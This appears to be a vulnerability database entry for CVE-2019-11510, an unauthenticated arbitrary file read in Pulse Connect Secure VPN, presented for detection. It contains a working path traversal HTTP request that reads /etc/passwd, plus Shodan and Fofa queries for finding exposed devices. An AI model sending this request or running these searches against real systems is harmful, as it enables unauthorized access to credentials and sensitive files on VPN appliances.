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CVE-2019-11510: Pulse Connect Secure SSL VPN Arbitrary File Read

TitlePulse Connect Secure SSL VPN Arbitrary File Read
Authororganiccrap
SeverityCritical
ImpactAn attacker can access sensitive information stored on the system, potentially leading to further compromise.
RemediationApply the latest security patches and updates provided by Pulse Secure.
CVSS Score10
EPSS Score0.9438
CVE IDCVE-2019-11510
CWE IDCWE-22
Shodan Queryhttp.html:"welcome.cgi?p=logo"http.title:"ivanti connect secure"
Fofa Querybody="welcome.cgi?p=logo"title="ivanti connect secure"
Tags packetstorm cve cve2019 pulsesecure lfi kev ivanti vkev vuln

🔍 Vulnerability Description

Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.

🌐 HTTP Request

GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11510.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-11510.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A